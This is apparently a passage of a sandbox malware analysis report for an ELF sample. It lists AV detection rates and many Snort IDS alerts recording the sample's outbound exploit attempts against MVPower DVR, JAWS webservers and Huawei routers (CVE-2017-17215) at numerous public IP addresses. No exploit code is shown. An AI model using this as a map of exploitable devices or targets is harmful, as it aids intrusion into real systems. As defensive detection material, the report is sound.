SID:	2025883
Source Port:	41454
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 59.111.246.132

Timestamp:	04/14/24-04:00:33.630357
SID:	2025883
Source Port:	60084
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 174.138.8.3

Timestamp:	04/14/24-04:00:29.546756
SID:	2030092
Source Port:	38032
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.47.29.250

Timestamp:	04/14/24-04:00:08.179034
SID:	2025883
Source Port:	51996
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 107.186.169.35

Timestamp:	04/14/24-04:00:13.583169
SID:	2025883
Source Port:	58264
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.70.75.170

Timestamp:	04/14/24-04:00:15.505726
SID:	2025883
Source Port:	50978
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.63.122.183

Timestamp:	04/14/24-03:59:56.264148
SID:	2025883
Source Port:	52558
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 193.22.248.237

Timestamp:	04/14/24-04:00:24.943570
SID:	2025883
Source Port:	48720
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 106.120.182.166

Timestamp:	04/14/24-04:00:25.924647
SID:	2025883
Source Port:	56592
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.98.190

Timestamp:	04/14/24-04:00:04.433794
SID:	2829579
Source Port:	51554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.207.81.150

Timestamp:	04/14/24-04:00:13.497161
SID:	2025883
Source Port:	57142
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.52.1.108

Timestamp:	04/14/24-03:59:56.628383
SID:	2030092
Source Port:	49568
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.33.218.4

Timestamp:	04/14/24-04:00:33.599068
SID:	2030092
Source Port:	34552
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.207.81.150

Timestamp:	04/14/24-04:00:15.608061
SID:	2025883
Source Port:	57444
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: N1msxMZ5Il.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: N1msxMZ5Il.elf

Virustotal: Detection: 63%

Perma Link

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52558 -> 38.63.122.183:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55290 -> 54.81.227.101:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39044 -> 128.199.35.43:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52558 -> 38.63.122.183:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54444 -> 217.69.189.94:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54440 -> 217.69.189.94:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40676 -> 185.211.1.42:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35310 -> 47.109.133.217:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40852 -> 18.189.76.131:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55290 -> 54.81.227.101:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47516 -> 155.94.203.145:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49568 -> 13.52.1.108:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40852 -> 18.189.76.131:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47516 -> 155.94.203.145:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49568 -> 13.52.1.108:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54444 -> 217.69.189.94:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54440 -> 217.69.189.94:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40676 -> 185.211.1.42:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35310 -> 47.109.133.217:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54178 -> 20.234.98.243:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35044 -> 108.139.67.159:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54178 -> 20.234.98.243:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35044 -> 108.139.67.159:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39044 -> 128.199.35.43:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51554 -> 156.241.98.190:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51554 -> 156.241.98.190:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60318 -> 68.171.34.193:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35774 -> 190.149.62.34:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43136 -> 150.60.98.40:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46878 -> 195.234.134.79:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41676 -> 62.234.164.32:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35692 -> 82.48.3.45:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60318 -> 68.171.34.193:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35774 -> 190.149.62.34:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43136 -> 150.60.98.40:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37398 -> 18.238.16.192:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38008 -> 46.101.57.158:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35692 -> 82.48.3.45:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42544 -> 197.26.114.150:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51582 -> 27.72.102.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38762 -> 34.71.233.233:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55754 -> 187.153.32.88:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58740 -> 23.52.157.149:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37398 -> 18.238.16.192:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38008 -> 46.101.57.158:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59506 -> 152.67.103.55:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42544 -> 197.26.114.150:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38762 -> 34.71.233.233:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49502 -> 13.237.67.251:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58740 -> 23.52.157.149:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51582 -> 27.72.102.225:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59506 -> 152.67.103.55:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49502 -> 13.237.67.251:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55754 -> 187.153.32.88:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56658 -> 172.65.79.88:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56658 -> 172.65.79.88:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35542 -> 69.163.139.33:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55492 -> 132.174.251.208:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49508 -> 62.212.95.241:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47382 -> 221.121.94.9:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35542 -> 69.163.139.33:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55492 -> 132.174.251.208:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41676 -> 62.234.164.32:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49508 -> 62.212.95.241:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60794 -> 66.110.42.91:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46616 -> 164.90.150.192:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57136 -> 54.36.162.97:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50814 -> 106.58.218.164:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60794 -> 66.110.42.91:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46616 -> 164.90.150.192:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51996 -> 23.47.29.250:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46802 -> 94.182.134.213:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57136 -> 54.36.162.97:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51996 -> 23.47.29.250:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38560 -> 24.32.193.60:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46802 -> 94.182.134.213:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58672 -> 93.191.192.124:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49754 -> 184.29.247.159:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58672 -> 93.191.192.124:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49754 -> 184.29.247.159:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50814 -> 106.58.218.164:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38560 -> 24.32.193.60:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52170 -> 156.77.130.173:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:52170 -> 156.77.130.173:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50470 -> 149.248.6.29:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58232 -> 96.6.167.60:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41454 -> 52.205.244.98:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50470 -> 149.248.6.29:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58232 -> 96.6.167.60:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41454 -> 52.205.244.98:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48196 -> 47.92.115.75:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46086 -> 207.142.0.111:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46580 -> 70.65.82.244:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55478 -> 95.179.150.90:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48228 -> 212.237.177.195:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48196 -> 47.92.115.75:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38666 -> 129.28.53.189:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46086 -> 207.142.0.111:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46580 -> 70.65.82.244:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55478 -> 95.179.150.90:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48228 -> 212.237.177.195:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38666 -> 129.28.53.189:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39792 -> 200.10.37.35:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57142 -> 45.207.81.150:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57380 -> 45.207.81.150:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58594 -> 34.160.109.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58264 -> 107.186.169.35:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39792 -> 200.10.37.35:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41808 -> 66.11.137.84:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58594 -> 34.160.109.225:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58264 -> 107.186.169.35:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57142 -> 45.207.81.150:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57380 -> 45.207.81.150:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43604 -> 13.93.52.223:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33350 -> 180.188.192.104:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52116 -> 195.231.18.97:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53970 -> 95.84.156.68:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41808 -> 66.11.137.84:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43604 -> 13.93.52.223:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33350 -> 180.188.192.104:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52116 -> 195.231.18.97:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53970 -> 95.84.156.68:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50978 -> 104.70.75.170:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56790 -> 104.93.166.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57444 -> 45.207.81.150:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49514 -> 185.224.74.17:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50978 -> 104.70.75.170:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56790 -> 104.93.166.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56296 -> 163.171.146.85:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43176 -> 34.92.98.240:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46882 -> 52.222.201.190:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57444 -> 45.207.81.150:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56296 -> 163.171.146.85:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56308 -> 163.171.146.85:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43176 -> 34.92.98.240:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46882 -> 52.222.201.190:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56308 -> 163.171.146.85:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46316 -> 34.36.181.1:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54832 -> 23.51.193.217:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33964 -> 23.201.149.71:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46822 -> 54.87.176.106:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35366 -> 23.66.220.6:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46316 -> 34.36.181.1:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54832 -> 23.51.193.217:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33964 -> 23.201.149.71:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58686 -> 82.163.72.143:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35366 -> 23.66.220.6:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58804 -> 217.151.192.74:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54860 -> 154.85.249.119:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58686 -> 82.163.72.143:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58804 -> 217.151.192.74:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54860 -> 154.85.249.119:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46822 -> 54.87.176.106:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34004 -> 23.201.149.71:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40378 -> 68.183.83.157:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43818 -> 195.93.252.236:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40378 -> 68.183.83.157:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55180 -> 61.216.15.233:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34004 -> 23.201.149.71:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47800 -> 219.89.83.149:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44026 -> 195.55.185.178:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55180 -> 61.216.15.233:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47800 -> 219.89.83.149:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57582 -> 45.207.81.150:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57464 -> 34.160.106.95:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60592 -> 52.216.59.66:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52844 -> 108.190.17.225:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57582 -> 45.207.81.150:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38168 -> 217.194.210.146:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57464 -> 34.160.106.95:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39974 -> 83.233.58.217:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:32840 -> 2.180.3.66:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38168 -> 217.194.210.146:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39974 -> 83.233.58.217:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43818 -> 195.93.252.236:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:32840 -> 2.180.3.66:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58764 -> 198.152.59.1:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60592 -> 52.216.59.66:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52844 -> 108.190.17.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49728 -> 39.119.118.131:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58764 -> 198.152.59.1:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49728 -> 39.119.118.131:80
